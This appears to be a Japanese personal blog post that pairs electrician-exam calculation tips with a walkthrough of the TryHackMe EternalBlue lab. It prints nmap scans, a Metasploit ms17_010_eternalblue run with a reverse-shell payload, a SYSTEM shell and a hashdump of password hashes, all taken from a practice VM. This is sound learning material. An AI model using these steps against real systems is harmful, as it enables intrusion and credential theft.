見出し画像

ペネトレーションテストのお勉強と二種電気工事士を勉強する日記を書くぞという日記


はじめに


意味わからんのだが?
はい、冷静に成ってみると、マジで意味わからないです。
記憶は反復であるという信念のもと、ブログにアウトプットすることで記憶の定着を図るという意図で始めている。

二種電気工事士のお勉強の動機

5月頃に職場の人から二種電気工事士取ろうよって飲み会の帰りに言われて、二つ返事で「オッケーすよー」って言ってしまったことが発端です。
趣味です。

ペネトレーションテストのお勉強の動機

これは仕事で必要なのである意味強いられてる系のお勉強です。
どうせやるなら、ていうかやらざるを得ないなら、攻略したマシンのウォークスルーを書いて言っても良いんじゃないかなと思ったりしているわけです。
もちろん、ライブマシンは書いちゃダメなので、リタイアマシンと呼ばれているものを書いていきます。
(基本的にマシン名でググってウォークスルーが出てきたものはリタイアマシンと判断して書きます)

方向性

その日にやったお勉強を両方合わせて書いていこうかなと思います。例は本日やったことを書いていくのでそれに合わせて勉強した日にそのことを書いていく感じで。

早速本題へ

二種電気工事士のお勉強

理論分野を攻略している
ここはゆっくり動画がすごくおすすめ。
非常に割りやすくて良き。

第二種電気工事士 ゆっくり解説

とりあえず、計算問題は3割~半分解けるくらいには一通りこなせたのでコツをまとめる。
ただ、コイルのインダクタンスとかは捨てる。めんどい。
計算問題に注力してたとして、それらを全問正解しても10問だしね。。。

  • 掛け算は先に計算しない。とにかく約分する。両辺を共通項で割る。

  • 小数点にはしない、分数でなんとか保持しておく。

  • 割り切れない数字は基本的に出ないので、割り切れなく成ったら間違いと言う判定をして良い。

  • 三相交流の線間電圧と相電圧の公式あたりはベクトルの計算をして三角比を使って納得する(数Aの範囲なのでググりながらやれば思い出しつつなんとかなる)

  • 合成抵抗はオームの法則を使って電流の流れから式を出す。

    • そのあと、 1/R=1/R1+1/R2…Rnの式を計算して逆数にして終わりみたいなのを証明していくことで納得する。あとは逆数の足し算であることを覚える。

  • 電圧降下も同様に。

  • 導体の抵抗に関する式でρは投げ縄で覚えて

    • 投げ縄x(縄の長さ/縄の太さ)みたいな感じで覚えておく。

    • とりあえず太さが大きければ抵抗は下がるよ(小さい値になるよ)ということさえ頭に入ってればあとは素材による重みを掛けるだけなのでなんとかなりそう。投げ縄。

  • 閉回路でなければ電流は発生しない。ただし電圧は発生しているので見落とすと計算がおかしくなる。

ペネトレーションテストのお勉強

いきなり問題を解く理由

やって分からなかったら教科書として見りゃいいじゃん?
なんで頭から何に使うかもわからんコマンドを勉強するの?
マウスで右クリックする方法だけ学んでもExcelは使えないよ?

挑戦する問題

TryHackMeにあるEternalblueを使った入門用のBoxを解いてみる
攻略対象マシンはここからダウンロードできる。
Ubuntu好きだけどUbuntuに環境構築してたらそれだけで日が暮れるので、KaliLinuxを使っていく。必要があればUbuntuも併用する。
基本的にBox解くだけならKaliだけで十分っぽい。

自分でシェルコード書く系のCTF(Pwn)とかだとUbuntuじゃないとしんどい思いをしたけど。gdbとかgdb-serverうごかねぇ、依存ライブラリインストールできねぇ・・・とか。

話逸れたけどKaliでやっていく。

あ、でもこれ落としたときはどんな脆弱性かはわからないように成ってるよ。やってく中で気づく。

ホストの発見・検出

# とりあえずARPスキャンでネイバーノードをリストする。
nmap -Pn -n -PR 20.20.20.0/24
# ネイバーノードでスキャンしたあとは、とりあえず詳細のスキャンをする。
nmap -Pn -n -p 135,134,445 20.20.20.0/24
# とりあえず詳細のスキャンをしてOSのバージョンとか色々眺めていく。
nmap -Pn -n -A 20.20.20.2

# nmapのオプション
-n 名前解決をしない
-Pn pingしない
-PR Arp scan

# スキャン結果
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   210: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2023-09-01T05:43:11
|_  start_date: 2023-09-01T03:58:59
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_nbstat: NetBIOS name: JON-PC, NetBIOS user: <unknown>, NetBIOS MAC: 080027f14e0d (Oracle VirtualBox virtual NIC)
| smb-os-discovery: 
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: Jon-PC
|   NetBIOS computer name: JON-PC\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2023-09-01T00:43:11-05:00
|_clock-skew: mean: 15h39m56s, deviation: 2h53m12s, median: 13h59m56s

ちょっとだけまとめてみる

135 ,139,445が開いている=SMBが動いている事がわかる。
あと、OSがWindows7ということも分かる。
OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)

とりあえず見つかったやつでググる
Windows 7 SP1 Vulnerability Exploit

Bluekeepとかkernel Exploitみたいなワードが出てきた。
なんかっぽい、でもここでやめるよりもっとググってみる。とりあえず次。
Windows 7 SP1 Vulnerability Exploit Blue kernel

Rapid7のやつが出てきた。

これじゃね?

とりあえず試してみる

Metasploitの使い方がよく分からなかったので、以下のお部屋でお勉強した

とりあえず色々書いてあるけどMetasploitの使い方をググりながらやればできる程度には理解したのでやっていき。

┌──(kali㉿kali)-[~]
└─$ msfconsole
msf6 > search eternalblue

Matching Modules
================

   #  Name                                      Disclosure Date  Rank     Check  Description
   -  ----                                      ---------------  ----     -----  -----------
   0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   2  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   3  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS17-010 SMB RCE Detection
   4  exploit/windows/smb/smb_doublepulsar_rce  2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution


Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/smb/smb_doublepulsar_rce

msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > options 

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS                          yes       The target host(s), see https://docs.metasploit
                                             .com/docs/using-metasploit/basics/using-metaspl
                                             oit.html
   RPORT          445              yes       The target port (TCP)
   SMBDomain                       no        (Optional) The Windows domain to use for authen
                                             tication. Only affects Windows Server 2008 R2,
                                             Windows 7, Windows Embedded Standard 7 target m
                                             achines.
   SMBPass                         no        (Optional) The password for the specified usern
                                             ame
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Ta
                                             rget. Only affects Windows Server 2008 R2, Wind
                                             ows 7, Windows Embedded Standard 7 target machi
                                             nes.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only
                                              affects Windows Server 2008 R2, Windows 7, Win
                                             dows Embedded Standard 7 target machines.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process,
                                        none)
   LHOST     10.0.2.15        yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 20.20.20.4
RHOSTS => 20.20.20.4
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 20.20.20.5
LHOST => 20.20.20.5
msf6 exploit(windows/smb/ms17_010_eternalblue) > options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS         20.20.20.4       yes       The target host(s), see https://docs.metasploit
                                             .com/docs/using-metasploit/basics/using-metaspl
                                             oit.html
   RPORT          445              yes       The target port (TCP)
   SMBDomain                       no        (Optional) The Windows domain to use for authen
                                             tication. Only affects Windows Server 2008 R2,
                                             Windows 7, Windows Embedded Standard 7 target m
                                             achines.
   SMBPass                         no        (Optional) The password for the specified usern
                                             ame
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Ta
                                             rget. Only affects Windows Server 2008 R2, Wind
                                             ows 7, Windows Embedded Standard 7 target machi
                                             nes.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only
                                              affects Windows Server 2008 R2, Windows 7, Win
                                             dows Embedded Standard 7 target machines.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process,
                                        none)
   LHOST     20.20.20.5       yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target

msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

[*] Started reverse TCP handler on 20.20.20.5:4444 
[*] 20.20.20.4:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 20.20.20.4:445        - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 20.20.20.4:445        - Scanned 1 of 1 hosts (100% complete)
[+] 20.20.20.4:445 - The target is vulnerable.
[*] 20.20.20.4:445 - Connecting to target for exploitation.
[+] 20.20.20.4:445 - Connection established for exploitation.
[+] 20.20.20.4:445 - Target OS selected valid for OS indicated by SMB reply
[*] 20.20.20.4:445 - CORE raw buffer dump (42 bytes)
[*] 20.20.20.4:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 20.20.20.4:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 20.20.20.4:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1      
[+] 20.20.20.4:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 20.20.20.4:445 - Trying exploit with 12 Groom Allocations.
[*] 20.20.20.4:445 - Sending all but last fragment of exploit packet
[*] 20.20.20.4:445 - Starting non-paged pool grooming
[+] 20.20.20.4:445 - Sending SMBv2 buffers
[+] 20.20.20.4:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 20.20.20.4:445 - Sending final SMBv2 buffers.
[*] 20.20.20.4:445 - Sending last fragment of exploit packet!
[*] 20.20.20.4:445 - Receiving response from exploit packet
[+] 20.20.20.4:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 20.20.20.4:445 - Sending egg to corrupted connection.
[*] 20.20.20.4:445 - Triggering free of corrupted buffer.
[*] Sending stage (200774 bytes) to 20.20.20.4
[+] 20.20.20.4:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 20.20.20.4:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 20.20.20.4:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Meterpreter session 1 opened (20.20.20.5:4444 -> 20.20.20.4:49160) at 2023-09-06 11:32:13 -0400
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::
meterpreter > shell
Process 1048 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>

とりあえず、パスワードのハッシュ取れたし、SYSTEM権限取れたのでOK
あとは、プリフェッチファイルとか、SAMデータベースとか一通り見れるよねを確認したあと、ユーザのファイルを読んだりしておわり。(それぞれに配置されたFlagを取ってTryHackMeでは回答を完了させる)

何やってんだろ。。。
二つ返事でやるとか言わなきゃよかったやつよ。
電気工事士は振り込んじゃったからなぁ

この記事が気に入ったらサポートをしてみませんか?